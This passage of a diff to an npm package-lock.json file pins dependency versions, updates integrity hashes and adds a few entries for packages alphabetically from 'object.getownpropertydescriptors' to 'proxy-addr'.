+ "function-bind": "1.1.1",
+ "has": "1.0.3"
}
},
"object.getownpropertydescriptors": {
@@ -13544,8 +14570,8 @@
"integrity": "sha1-h1jIRvW0B62rDyNuCYbxSwUcqhY=",
"dev": true,
"requires": {
- "define-properties": "^1.1.2",
- "es-abstract": "^1.5.1"
+ "define-properties": "1.1.3",
+ "es-abstract": "1.12.0"
}
},
"object.omit": {
@@ -13555,8 +14581,8 @@
"dev": true,
"optional": true,
"requires": {
- "for-own": "^0.1.4",
- "is-extendable": "^0.1.1"
+ "for-own": "0.1.5",
+ "is-extendable": "0.1.1"
}
},
"object.pick": {
@@ -13565,7 +14591,7 @@
"integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=",
"dev": true,
"requires": {
- "isobject": "^3.0.1"
+ "isobject": "3.0.1"
},
"dependencies": {
"isobject": {
@@ -13576,6 +14602,18 @@
}
}
},
+ "object.values": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.0.tgz",
+ "integrity": "sha512-8mf0nKLAoFX6VlNVdhGj31SVYpaNFtUnuoOXWyFEstsWRgU837AK+JYM0iAxwkSzGRbwn8cbFmgbyxj1j4VbXg==",
+ "dev": true,
+ "requires": {
+ "define-properties": "1.1.3",
+ "es-abstract": "1.12.0",
+ "function-bind": "1.1.1",
+ "has": "1.0.3"
+ }
+ },
"obuf": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz",
@@ -13592,9 +14630,9 @@
}
},
"on-headers": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.1.tgz",
- "integrity": "sha1-ko9dD0cNSTQmUepnlLCFfBAGk/c=",
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz",
+ "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==",
"dev": true
},
"once": {
@@ -13602,7 +14640,7 @@
"resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
"integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
"requires": {
- "wrappy": "1"
+ "wrappy": "1.0.2"
}
},
"onetime": {
@@ -13611,16 +14649,16 @@
"integrity": "sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=",
"dev": true,
"requires": {
- "mimic-fn": "^1.0.0"
+ "mimic-fn": "1.2.0"
}
},
"opn": {
- "version": "5.4.0",
- "resolved": "https://registry.npmjs.org/opn/-/opn-5.4.0.tgz",
- "integrity": "sha512-YF9MNdVy/0qvJvDtunAOzFw9iasOQHpVthTCvGzxt61Il64AYSGdK+rYwld7NAfk9qJ7dt+hymBNSc9LNYS+Sw==",
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/opn/-/opn-5.5.0.tgz",
+ "integrity": "sha512-PqHpggC9bLV0VeWcdKhkpxY+3JTzetLSqTCWL/z/tFIbI6G8JCjondXklT1JinczLz2Xib62sSp0T/gKT4KksA==",
"dev": true,
"requires": {
- "is-wsl": "^1.1.0"
+ "is-wsl": "1.1.0"
}
},
"optimist": {
@@ -13629,8 +14667,8 @@
"integrity": "sha1-2j6nRob6IaGaERwybpDrFaAZZoY=",
"dev": true,
"requires": {
- "minimist": "~0.0.1",
- "wordwrap": "~0.0.2"
+ "minimist": "0.0.10",
+ "wordwrap": "0.0.3"
},
"dependencies": {
"minimist": {
@@ -13653,12 +14691,12 @@
"integrity": "sha1-NkxeQJ0/TWMB1sC0wFu6UBgK62Q=",
"dev": true,
"requires": {
- "deep-is": "~0.1.3",
- "fast-levenshtein": "~2.0.4",
- "levn": "~0.3.0",
- "prelude-ls": "~1.1.2",
- "type-check": "~0.3.2",
- "wordwrap": "~1.0.0"
+ "deep-is": "0.1.3",
+ "fast-levenshtein": "2.0.6",
+ "levn": "0.3.0",
+ "prelude-ls": "1.1.2",
+ "type-check": "0.3.2",
+ "wordwrap": "1.0.0"
}
},
"original": {
@@ -13667,7 +14705,7 @@
"integrity": "sha512-hyBVl6iqqUOJ8FqRe+l/gS8H+kKYjrEndd5Pm1MfBtsEKA038HkkdbAl/72EAXGyonD/PFsvmVG+EvcIpliMBg==",
"dev": true,
"requires": {
- "url-parse": "^1.4.3"
+ "url-parse": "1.4.7"
}
},
"os-browserify": {
@@ -13682,14 +14720,31 @@
"integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M="
},
"os-locale": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-2.1.0.tgz",
- "integrity": "sha512-3sslG3zJbEYcaC4YVAvDorjGxc7tv6KVATnLPZONiljsUncvihe9BQoVCEs0RZ1kmf4Hk9OBqlZfJZWI4GanKA==",
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-3.1.0.tgz",
+ "integrity": "sha512-Z8l3R4wYWM40/52Z+S265okfFj8Kt2cC2MKY+xNi3kFs+XGI7WXu/I309QQQYbRW4ijiZ+yxs9pqEhJh0DqW3Q==",
"dev": true,
"requires": {
- "execa": "^0.7.0",
- "lcid": "^1.0.0",
- "mem": "^1.1.0"
+ "execa": "1.0.0",
+ "lcid": "2.0.0",
+ "mem": "4.3.0"
+ },
+ "dependencies": {
+ "invert-kv": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-2.0.0.tgz",
+ "integrity": "sha512-wPVv/y/QQ/Uiirj/vh3oP+1Ww+AWehmi1g5fFWGPF6IpCBCDVrhgHRMvrLfdYcwDh3QJbGXDW4JAuzxElLSqKA==",
+ "dev": true
+ },
+ "lcid": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/lcid/-/lcid-2.0.0.tgz",
+ "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==",
+ "dev": true,
+ "requires": {
+ "invert-kv": "2.0.0"
+ }
+ }
}
},
"os-tmpdir": {
@@ -13702,8 +14757,8 @@
"resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz",
"integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==",
"requires": {
- "os-homedir": "^1.0.0",
- "os-tmpdir": "^1.0.0"
+ "os-homedir": "1.0.2",
+ "os-tmpdir": "1.0.2"
}
},
"output-file-sync": {
@@ -13712,9 +14767,9 @@
"integrity": "sha1-0KM+7+YaIF+suQCS6CZZjVJFznY=",
"dev": true,
"requires": {
- "graceful-fs": "^4.1.4",
- "mkdirp": "^0.5.1",
- "object-assign": "^4.1.0"
+ "graceful-fs": "4.1.11",
+ "mkdirp": "0.5.1",
+ "object-assign": "4.1.1"
}
},
"p-defer": {
@@ -13730,9 +14785,9 @@
"dev": true
},
"p-is-promise": {
- "version": "1.1.0",
- "resolved": "http://registry.npmjs.org/p-is-promise/-/p-is-promise-1.1.0.tgz",
- "integrity": "sha1-nJRWmJ6fZYgBewQ01WCXZ1w9oF4=",
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-2.1.0.tgz",
+ "integrity": "sha512-Y3W0wlRPK8ZMRbNq97l4M5otioeA5lm1z7bkNkxCka8HSPjR0xRWmpCmc9utiaLP9Jb1eD8BgeIxTW4AIF45Pg==",
"dev": true
},
"p-limit": {
@@ -13741,7 +14796,7 @@
"integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==",
"dev": true,
"requires": {
- "p-try": "^1.0.0"
+ "p-try": "1.0.0"
}
},
"p-locate": {
@@ -13750,15 +14805,24 @@
"integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=",
"dev": true,
"requires": {
- "p-limit": "^1.1.0"
+ "p-limit": "1.3.0"
}
},
"p-map": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/p-map/-/p-map-1.2.0.tgz",
- "integrity": "sha512-r6zKACMNhjPJMTl8KcFH4li//gkrXWfbD6feV8l6doRHlzljFWGJ2AP6iKaCJXyZmAUMOPtvbW7EXkbWO/pLEA==",
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/p-map/-/p-map-2.1.0.tgz",
+ "integrity": "sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw==",
"dev": true
},
+ "p-retry": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-3.0.1.tgz",
+ "integrity": "sha512-XE6G4+YTTkT2a0UWb2kjZe8xNwf8bIbnqpc/IS/idOBVhyves0mK5OJgeocjx7q5pvX/6m23xuzVPYT1uGM73w==",
+ "dev": true,
+ "requires": {
+ "retry": "0.12.0"
+ }
+ },
"p-try": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz",
@@ -13766,20 +14830,20 @@
"dev": true
},
"pako": {
- "version": "1.0.6",
- "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.6.tgz",
- "integrity": "sha512-lQe48YPsMJAig+yngZ87Lus+NF+3mtu7DVOBu6b/gHO1YpKwIj5AWjZ/TOS7i46HD/UixzWb1zeWDZfGZ3iYcg==",
+ "version": "1.0.10",
+ "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.10.tgz",
+ "integrity": "sha512-0DTvPVU3ed8+HNXOu5Bs+o//Mbdj9VNQMUOe9oKCwh8l0GNwpTDMKCWbRjgtD291AWnkAgkqA/LOnQS8AmS1tw==",
"dev": true
},
"parallel-transform": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/parallel-transform/-/parallel-transform-1.1.0.tgz",
- "integrity": "sha1-1BDwZbBdojCB/NEPKIVMKb2jOwY=",
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/parallel-transform/-/parallel-transform-1.2.0.tgz",
+ "integrity": "sha512-P2vSmIu38uIlvdcU7fDkyrxj33gTUy/ABO5ZUbGowxNCopBq/OoD42bP4UmMrJoPyk4Uqf0mu3mtWBhHCZD8yg==",
"dev": true,
"requires": {
- "cyclist": "~0.2.2",
- "inherits": "^2.0.3",
- "readable-stream": "^2.1.5"
+ "cyclist": "1.0.1",
+ "inherits": "2.0.3",
+ "readable-stream": "2.3.6"
},
"dependencies": {
"isarray": {
@@ -13789,9 +14853,9 @@
"dev": true
},
"process-nextick-args": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
- "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
"dev": true
},
"readable-stream": {
@@ -13800,13 +14864,13 @@
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.1",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
}
},
"string_decoder": {
@@ -13815,7 +14879,7 @@
"integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
"dev": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.1"
}
}
}
@@ -13826,20 +14890,38 @@
"integrity": "sha1-35T9jPZTHs915r75oIWPvHK+Ikc=",
"dev": true,
"requires": {
- "no-case": "^2.2.0"
+ "no-case": "2.3.2"
+ }
+ },
+ "parent-module": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
+ "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
+ "dev": true,
+ "requires": {
+ "callsites": "3.1.0"
+ },
+ "dependencies": {
+ "callsites": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
+ "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",
+ "dev": true
+ }
}
},
"parse-asn1": {
- "version": "5.1.1",
- "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.1.tgz",
- "integrity": "sha512-KPx7flKXg775zZpnp9SxJlz00gTd4BmJ2yJufSc44gMCRrRQ7NSzAcSJQfifuOLgW6bEi+ftrALtsgALeB2Adw==",
+ "version": "5.1.5",
+ "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.5.tgz",
+ "integrity": "sha512-jkMYn1dcJqF6d5CpU689bq7w/b5ALS9ROVSpQDPrZsqqesUJii9qutvoT5ltGedNXMO2e16YUWIghG9KxaViTQ==",
"dev": true,
"requires": {
- "asn1.js": "^4.0.0",
- "browserify-aes": "^1.0.0",
- "create-hash": "^1.1.0",
- "evp_bytestokey": "^1.0.0",
- "pbkdf2": "^3.0.3"
+ "asn1.js": "4.10.1",
+ "browserify-aes": "1.2.0",
+ "create-hash": "1.2.0",
+ "evp_bytestokey": "1.0.3",
+ "pbkdf2": "3.0.17",
+ "safe-buffer": "5.1.1"
}
},
"parse-glob": {
@@ -13849,10 +14931,10 @@
"dev": true,
"optional": true,
"requires": {
- "glob-base": "^0.3.0",
- "is-dotfile": "^1.0.0",
- "is-extglob": "^1.0.0",
- "is-glob": "^2.0.0"
+ "glob-base": "0.3.0",
+ "is-dotfile": "1.0.3",
+ "is-extglob": "1.0.0",
+ "is-glob": "2.0.1"
}
},
"parse-json": {
@@ -13860,16 +14942,22 @@
"resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz",
"integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=",
"requires": {
- "error-ex": "^1.2.0"
+ "error-ex": "1.3.2"
}
},
+ "parse-passwd": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/parse-passwd/-/parse-passwd-1.0.0.tgz",
+ "integrity": "sha1-bVuTSkVpk7I9N/QKOC1vFmao5cY=",
+ "dev": true
+ },
"parseqs": {
"version": "0.0.5",
"resolved": "https://registry.npmjs.org/parseqs/-/parseqs-0.0.5.tgz",
"integrity": "sha1-1SCKNzjkZ2bikbouoXNoSSGouJ0=",
"dev": true,
"requires": {
- "better-assert": "~1.0.0"
+ "better-assert": "1.0.2"
}
},
"parseuri": {
@@ -13878,13 +14966,13 @@
"integrity": "sha1-gCBKUNTbt3m/3G6+J3jZDkvOMgo=",
"dev": true,
"requires": {
- "better-assert": "~1.0.0"
+ "better-assert": "1.0.2"
}
},
"parseurl": {
- "version": "1.3.2",
- "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.2.tgz",
- "integrity": "sha1-/CidTtiZMRlGDBViUyYs3I3mW/M=",
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
+ "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==",
"dev": true
},
"pascalcase": {
@@ -13894,9 +14982,9 @@
"dev": true
},
"path-browserify": {
- "version": "0.0.0",
- "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.0.tgz",
- "integrity": "sha1-oLhwcpquIUAFt9UDLsLLuw+0RRo=",
+ "version": "0.0.1",
+ "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.1.tgz",
+ "integrity": "sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ==",
"dev": true
},
"path-dirname": {
@@ -13910,7 +14998,7 @@
"resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz",
"integrity": "sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=",
"requires": {
- "pinkie-promise": "^2.0.0"
+ "pinkie-promise": "2.0.1"
}
},
"path-is-absolute": {
@@ -13946,9 +15034,9 @@
"resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz",
"integrity": "sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=",
"requires": {
- "graceful-fs": "^4.1.2",
- "pify": "^2.0.0",
- "pinkie-promise": "^2.0.0"
+ "graceful-fs": "4.1.11",
+ "pify": "2.3.0",
+ "pinkie-promise": "2.0.1"
}
},
"pathval": {
@@ -13963,11 +15051,11 @@
"integrity": "sha512-U/il5MsrZp7mGg3mSQfn742na2T+1/vHDCG5/iTI3X9MKUuYUZVLQhyRsg06mCgDBTd57TxzgZt7P+fYfjRLtA==",
"dev": true,
"requires": {
- "create-hash": "^1.1.2",
- "create-hmac": "^1.1.4",
- "ripemd160": "^2.0.1",
- "safe-buffer": "^5.0.1",
- "sha.js": "^2.4.8"
+ "create-hash": "1.2.0",
+ "create-hmac": "1.1.7",
+ "ripemd160": "2.0.2",
+ "safe-buffer": "5.1.1",
+ "sha.js": "2.4.11"
}
},
"pend": {
@@ -13987,15 +15075,15 @@
"integrity": "sha1-79ISpKOWbTZHaE6ouniFSb4q7+8=",
"dev": true,
"requires": {
- "es6-promise": "^4.0.3",
- "extract-zip": "^1.6.5",
- "fs-extra": "^1.0.0",
- "hasha": "^2.2.0",
- "kew": "^0.7.0",
- "progress": "^1.1.8",
- "request": "^2.81.0",
- "request-progress": "^2.0.1",
- "which": "^1.2.10"
+ "es6-promise": "4.2.4",
+ "extract-zip": "1.6.6",
+ "fs-extra": "1.0.0",
+ "hasha": "2.2.0",
+ "kew": "0.7.0",
+ "progress": "1.1.8",
+ "request": "2.85.0",
+ "request-progress": "2.0.1",
+ "which": "1.3.0"
}
},
"pify": {
@@ -14013,7 +15101,7 @@
"resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz",
"integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=",
"requires": {
- "pinkie": "^2.0.0"
+ "pinkie": "2.0.4"
}
},
"pkg-dir": {
@@ -14022,7 +15110,7 @@
"integrity": "sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=",
"dev": true,
"requires": {
- "find-up": "^2.1.0"
+ "find-up": "2.1.0"
},
"dependencies": {
"find-up": {
@@ -14031,7 +15119,7 @@
"integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=",
"dev": true,
"requires": {
- "locate-path": "^2.0.0"
+ "locate-path": "2.0.0"
}
}
}
@@ -14039,18 +15127,17 @@
"pluralize": {
"version": "7.0.0",
"resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz",
- "integrity": "sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==",
- "dev": true
+ "integrity": "sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow=="
},
"portfinder": {
- "version": "1.0.17",
- "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.17.tgz",
- "integrity": "sha512-syFcRIRzVI1BoEFOCaAiizwDolh1S1YXSodsVhncbhjzjZQulhczNRbqnUl9N31Q4dKGOXsNDqxC2BWBgSMqeQ==",
+ "version": "1.0.24",
+ "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.24.tgz",
+ "integrity": "sha512-ekRl7zD2qxYndYflwiryJwMioBI7LI7rVXg3EnLK3sjkouT5eOuhS3gS255XxBksa30VG8UPZYZCdgfGOfkSUg==",
"dev": true,
"requires": {
- "async": "^1.5.2",
- "debug": "^2.2.0",
- "mkdirp": "0.5.x"
+ "async": "1.5.2",
+ "debug": "2.6.8",
+ "mkdirp": "0.5.1"
}
},
"posix-character-classes": {
@@ -14065,9 +15152,9 @@
"integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==",
"dev": true,
"requires": {
- "chalk": "^2.4.1",
- "source-map": "^0.6.1",
- "supports-color": "^5.4.0"
+ "chalk": "2.4.2",
+ "source-map": "0.6.1",
+ "supports-color": "5.5.0"
},
"dependencies": {
"ansi-styles": {
@@ -14076,18 +15163,18 @@
"integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
"dev": true,
"requires": {
- "color-convert": "^1.9.0"
+ "color-convert": "1.9.0"
}
},
"chalk": {
- "version": "2.4.1",
- "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz",
- "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==",
+ "version": "2.4.2",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+ "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
"dev": true,
"requires": {
- "ansi-styles": "^3.2.1",
- "escape-string-regexp": "^1.0.5",
- "supports-color": "^5.3.0"
+ "ansi-styles": "3.2.1",
+ "escape-string-regexp": "1.0.5",
+ "supports-color": "5.5.0"
}
},
"has-flag": {
@@ -14103,23 +15190,23 @@
"dev": true
},
"supports-color": {
- "version": "5.4.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz",
- "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==",
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
"dev": true,
"requires": {
- "has-flag": "^3.0.0"
+ "has-flag": "3.0.0"
}
}
}
},
"postcss-modules-extract-imports": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-1.2.0.tgz",
- "integrity": "sha1-ZhQOzs447wa/DT41XWm/WdFB6oU=",
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-1.2.1.tgz",
+ "integrity": "sha512-6jt9XZwUhwmRUhb/CkyJY020PYaPJsCyt3UjbaWo6XEbH/94Hmv6MP7fG2C5NDU/BcHzyGYxNtHvM+LTf9HrYw==",
"dev": true,
"requires": {
- "postcss": "^6.0.1"
+ "postcss": "6.0.23"
}
},
"postcss-modules-local-by-default": {
@@ -14128,8 +15215,8 @@
"integrity": "sha1-99gMOYxaOT+nlkRmvRlQCn1hwGk=",
"dev": true,
"requires": {
- "css-selector-tokenizer": "^0.7.0",
- "postcss": "^6.0.1"
+ "css-selector-tokenizer": "0.7.1",
+ "postcss": "6.0.23"
}
},
"postcss-modules-scope": {
@@ -14138,8 +15225,8 @@
"integrity": "sha1-1upkmUx5+XtipytCb75gVqGUu5A=",
"dev": true,
"requires": {
- "css-selector-tokenizer": "^0.7.0",
- "postcss": "^6.0.1"
+ "css-selector-tokenizer": "0.7.1",
+ "postcss": "6.0.23"
}
},
"postcss-modules-values": {
@@ -14148,14 +15235,14 @@
"integrity": "sha1-7P+p1+GSUYOJ9CrQ6D9yrsRW6iA=",
"dev": true,
"requires": {
- "icss-replace-symbols": "^1.1.0",
- "postcss": "^6.0.1"
+ "icss-replace-symbols": "1.1.0",
+ "postcss": "6.0.23"
}
},
"postcss-value-parser": {
- "version": "3.3.0",
- "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.0.tgz",
- "integrity": "sha1-h/OPnxj3dKSrTIojL1xc6IcqnRU=",
+ "version": "3.3.1",
+ "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+ "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ==",
"dev": true
},
"prelude-ls": {
@@ -14177,8 +15264,8 @@
"integrity": "sha1-X0+HyPkeWuPzuoerTPXgOxoX8aM=",
"dev": true,
"requires": {
- "renderkid": "^2.0.1",
- "utila": "~0.4"
+ "renderkid": "2.0.1",
+ "utila": "0.4.0"
}
},
"private": {
@@ -14188,9 +15275,9 @@
"dev": true
},
"process": {
- "version": "0.5.2",
- "resolved": "https://registry.npmjs.org/process/-/process-0.5.2.tgz",
- "integrity": "sha1-FjjYqONML0QKkduVq5rrZ3/Bhc8=",
+ "version": "0.11.10",
+ "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz",
+ "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI=",
"dev": true
},
"process-nextick-args": {
@@ -14210,7 +15297,7 @@
"resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz",
"integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==",
"requires": {
- "asap": "~2.0.3"
+ "asap": "2.0.6"
}
},
"promise-inflight": {
@@ -14220,12 +15307,28 @@
"dev": true
},
"prop-types": {
- "version": "15.6.2",
- "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.6.2.tgz",
- "integrity": "sha512-3pboPvLiWD7dkI3qf3KbUe6hKFKa52w+AE0VCqECtf+QHAKgOL37tTaNCnuX1nAAQ4ZhyP+kYVKf8rLmJ/feDQ==",
+ "version": "15.7.2",
+ "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.7.2.tgz",
+ "integrity": "sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ==",
"requires": {
- "loose-envify": "^1.3.1",
- "object-assign": "^4.1.1"
+ "loose-envify": "1.4.0",
+ "object-assign": "4.1.1",
+ "react-is": "16.9.0"
+ },
+ "dependencies": {
+ "loose-envify": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
+ "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
+ "requires": {
+ "js-tokens": "3.0.2"
+ }
+ },
+ "react-is": {
+ "version": "16.9.0",
+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.9.0.tgz",
+ "integrity": "sha512-tJBzzzIgnnRfEm046qRcURvwQnZVXmuCbscxUO5RWrGTXpon2d4c8mI0D8WE6ydVIm29JiLB6+RslkIvym9Rjw=="
+ }
}
},
"prop-types-extra": {
@@ -14233,8 +15336,8 @@
"resolved": "https://registry.npmjs.org/prop-types-extra/-/prop-types-extra-1.1.0.tgz",
"integrity": "sha512-QFyuDxvMipmIVKD2TwxLVPzMnO4e5oOf1vr3tJIomL8E7d0lr6phTHd5nkPhFIzTD1idBLLEPeylL9g+rrTzRg==",
"requires": {
- "react-is": "^16.3.2",
- "warning": "^3.0.0"
+ "react-is": "16.6.3",
+ "warning": "3.0.0"
}
},
"propagating-hammerjs": {
@@ -14242,17 +15345,17 @@
"resolved": "https://registry.npmjs.org/propagating-hammerjs/-/propagating-hammerjs-1.4.6.tgz",
"integrity": "sha1-/tAOmwB2f/1C0U9bUxvEk+tnLjc=",
"requires": {
- "hammerjs": "^2.0.6"
+ "hammerjs": "2.0.8"
}
},
"proxy-addr": {
- "version": "2.0.4",
- "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.4.tgz",
